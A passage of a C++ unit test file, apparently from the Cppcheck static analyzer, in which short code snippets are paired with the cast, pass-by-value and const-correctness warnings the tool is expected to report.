[dangerousTypeCast]\\n\"\n \"[test.cpp:16:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:17:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:18:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:19:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #8649\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uintptr_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\",\n errout_str());\n\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uint8_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n // TODO: these conversions are dangerous, but it's a different issue not covered by cstyleCast. A separate checker can be added which is executed for both C and C++ code.\n // clang says: 1.cpp:5:18: warning: cast to 'unsigned char *' from smaller integer type 'uint8_t' (aka 'unsigned char') [-Wint-to-pointer-cast]\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #10823\n checkOldStylePointerCast(\"void f(void* p) {\\n\"\n \" auto h = reinterpret_cast(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5210\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(Base** b1, Base*** b2) {\\n\"\n \" Derived** p1 = (Derived**)b1;\\n\"\n \" Derived*** p2 = (Derived***)b2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:5:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #12446\n checkOldStylePointerCast(\"namespace N { struct S {}; }\\n\"\n \"union U {\\n\"\n \" int i;\\n\"\n \" char c[4];\\n\"\n \"};\\n\"\n \"void f(void* p) {\\n\"\n \" auto ps = (N::S*)p;\\n\"\n \" auto pu = (union U*)p;\\n\"\n \" auto pv = (std::vector*)(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:8:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:9:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #12447\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(const Base& base) {\\n\"\n \" d = (const Derived&)base;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n // #11430\n checkOldStylePointerCast(\"struct B {\\n\"\n \" float* data() const;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" bool f(float* v);\\n\"\n \"}\\n\"\n \"bool g(B& b) {\\n\"\n \" using float_ptr = float*;\\n\"\n \" return N::f(float_ptr(b.data()));\\n\" // <- the cast is safe\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n }\n\n#define checkIntToPointerCast(...) checkIntToPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkIntToPointerCast_(const char* file, int line, const char (&code)[size]) {\n\n const Settings settings = settingsBuilder().severity(Severity::portability).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningIntToPointerCast();\n }\n\n void intToPointerCast() {\n // #3630\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"void* ptr = (void*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0x7000;\"); // <- it's common in embedded code to cast address\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"struct S { int i; };\\n\" // #13886, don't crash\n \"int f() { return sizeof(((struct S*)0)->i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInvalidPointerCast(...) checkInvalidPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInvalidPointerCast_(const char* file, int line, const char (&code)[size], bool portability = true, bool inconclusive = false) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability, portability).certainty(Certainty::inconclusive, inconclusive).build();\n settings.platform.defaultSign = 's';\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizer, &settings, this);\n checkOtherCpp.invalidPointerCast();\n }\n\n\n void invalidPointerCast() {\n checkInvalidPointerCast(\"void test() {\\n\"\n \" float *f = new float[10];\\n\"\n \" delete [] (double*)f;\\n\"\n \" delete [] (long double const*)(new float[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) Casting between float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:15]: (portability) Casting between float * and const long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(const float* f) {\\n\"\n \" double *d = (double*)f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (portability) Casting between const float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(double* d1) {\\n\"\n \" long double *ld = (long double*)d1;\\n\"\n \" double *d2 = (double*)ld;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Casting between double * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:18]: (portability) Casting between long double * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"char* test(int* i) {\\n\"\n \" long double *d = (long double*)(i);\\n\"\n \" double *d = (double*)(i);\\n\"\n \" float *f = reinterpret_cast(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) Casting between signed int * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:17]: (portability) Casting between signed int * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:16]: (portability) Casting between signed int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between unsigned int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"float* test(double& d) {\\n\"\n \" return (float*)&d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between double * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, true); // #3639\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability, inconclusive) Casting from float * to signed char * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n\n checkInvalidPointerCast(\"long long* test(float* f) {\\n\"\n \" return (long long*)f;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"long long* test(float* f, char* c) {\\n\"\n \" foo((long long*)f);\\n\"\n \" return reinterpret_cast(c);\\n\"\n \"}\", true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (portability) Casting from float * to signed long long * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"Q_DECLARE_METATYPE(int*)\"); // #4135 - don't crash\n }\n\n\n void passedByValue() {\n check(\"void f(const std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::unique_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::shared_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::function ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(const std::pair x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::pair x) {}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n check(\"void f(const std::string::size_type x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo;\\nvoid f(const Foo foo) {}\"); // Unknown class\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance, inconclusive) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::vector v; };\\nvoid f(const Foo foo) {}\"); // Large class (STL member)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { int i; };\\nvoid f(const Foo foo) {}\"); // Small class\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { int i[6]; };\\nvoid f(const Foo foo) {}\"); // Large class (array)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::string* s; };\\nvoid f(const Foo foo) {}\"); // Small class (pointer)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { static std::string s; };\\nvoid f(const Foo foo) {}\"); // Small class (static member)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { std::string s; }; class Foo : X { };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X { std::string s; }; class Foo { X x; };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // The idiomatic way of passing a std::string_view is by value\n check(\"void f(const std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string_view &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:31]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector::size_type s) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::streamoff pos) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::initializer_list i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5824\n check(\"void log(const std::string& file, int line, const std::string& function, const std::string str, ...) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5534\n check(\"struct float3 { };\\n\"\n \"typedef float3 vec;\\n\"\n \"class Plane {\\n\"\n \" vec Refract(vec &vec) const;\\n\"\n \" bool IntersectLinePlane(const vec &planeNormal);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(const std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"enum X;\\n\"\n \"void foo(X x1){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"void foo(X x2){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"enum X;\"\n \"void foo(X x3){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X;\\n\"\n \"enum X { a, b, c };\"\n \"void foo(X x4){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union U {\\n\"\n \" char* pc;\\n\"\n \" short* ps;\\n\"\n \" int* pi;\\n\"\n \"};\\n\"\n \"void f(U u) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { char A[8][8]; };\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"union U {\\n\" // don't crash\n \" int a;\\n\"\n \" decltype(nullptr) b;\\n\"\n \"};\\n\"\n \"int* f(U u) { return u.b; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int f(std::string s) = 0; };\\n\" // #11432\n \"struct D1 : B {\\n\"\n \" int f(std::string s) override { s += 'a'; return s.size(); }\\n\"\n \"}\\n\"\n \"struct D2 : B {\\n\"\n \" int f(std::string s) override { return s.size(); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x(int);\\n\"\n \"void f(std::vector v, int& j) {\\n\"\n \" for (int i : v)\\n\"\n \" j = i;\\n\"\n \"}\\n\"\n \"void fn(std::vector v) {\\n\"\n \" for (int& i : v)\\n\"\n \" i = x(i);\\n\"\n \"}\\n\"\n \"void g(std::vector v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i];\\n\"\n \"}\\n\"\n \"void gn(std::vector v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i] = x(i);\\n\"\n \"}\\n\"\n \"void h(std::vector> v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i][0];\\n\"\n \"}\\n\"\n \"void hn(std::vector> v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i][0] = x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:10:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:18:38]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11995\n \" explicit S(std::string s) noexcept;\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"S::S(std::string s) noexcept : m(std::move(s)) {}\\n\"\n \"struct T {\\n\"\n \" explicit S(std::string s) noexcept(true);\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"T::T(std::string s) noexcept(true) : m(std::move(s)) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12086\n \" void g(int);\\n\"\n \"}\\n\"\n \"void f(std::vector v) {\\n\"\n \" N::g(v[0]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string& s, std::string t) {\\n\" // #12083\n \" const std::string& v = !s.empty() ? s : t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Function parameter 't' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings settings0 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(\"struct S {\\n\" // #12138\n \" union {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int b = 0;\\n\"\n \" int y;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int c = 0;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(S s) {\\n\"\n \" if (s.x > s.y) {}\\n\"\n \"}\\n\", /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings0);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::list l; };\\n\" // #12147\n \"class C { public: std::list l; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.l.empty();\\n\"\n \"}\\n\"\n \"bool f(C c) {\\n\"\n \" return c.l.empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:6:10]: (performance) Function parameter 'c' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S { std::list a[1][1]; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.a[0][0].empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" enum class E : std::uint8_t { E0 };\\n\"\n \" static void f(S::E e) {\\n\"\n \" if (e == S::E::E0) {}\\n\"\n \" }\\n\"\n \" char a[20];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v[2]);\\n\" // #13052\n \"void g(const std::vector v[2]);\\n\"\n \"void g(const std::vector v[2]) {}\\n\"\n \"int h(const std::array, 2> a) { return a[0][0]; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (performance) Function parameter 'a' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::array a[]) {}\\n\"); // #13524\n ASSERT_EQUALS(\"\", errout_str());\n\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using ui64 = unsigned __int64;\\n\"\n \"ui64 Test(ui64 one, ui64 two) { return one + two; }\\n\",\n /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_nonConst() {\n check(\"void f(std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" return str + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cout << str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cin >> str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:18]: (style) Variable 's2' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" const std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" str = \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" foo(str);\\n\" // It could be that foo takes str as non-const-reference\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::string* str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(&str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i1, const std::string& str, int& i2);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo((a+b)*c, str, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::string f(std::string str) {\\n\"\n \" str += x;\\n\"\n \" return str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" std::string s;\\n\"\n \" void func() const;\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" void func(std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(std::string str) {}\\n\" // Do not warn about virtual functions, if 'str' is not declared as const\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" char a[1024];\\n\"\n \"};\\n\"\n \"class Y : X {\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f(Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \"};\\n\"\n \"class Y {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \" char c;\\n\"\n \"};\\n\"\n \"void f(X x, Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n {\n // 8-byte data should be passed by const reference on 32-bit platform but not on 64-bit platform\n const char code[] = \"class X {\\n\"\n \" uint64_t a;\\n\"\n \" uint64_t b;\\n\"\n \"};\\n\"\n \"void f(X x) {}\";\n\n /*const*/ Settings s32 = settingsBuilder(_settings).platform(Platform::Type::Unix32).build();\n check(code, &s32);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings s64 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(code, &s64);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"Writer* getWriter();\\n\"\n \"\\n\"\n \"void foo(Buffer& buffer) {\\n\"\n \" getWriter()->operator<<(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_externC() {\n check(\"struct X { int a[5]; }; void f(X v) { }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(X v) { } }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; void f(const X v);\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(const X v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(const X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constVariable() {\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:10]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" const int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" static int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" x.push_back(1);\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" x[0]++;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a = 1;\\n\"\n \" return x[0];\\n\"\n \"}\");\n 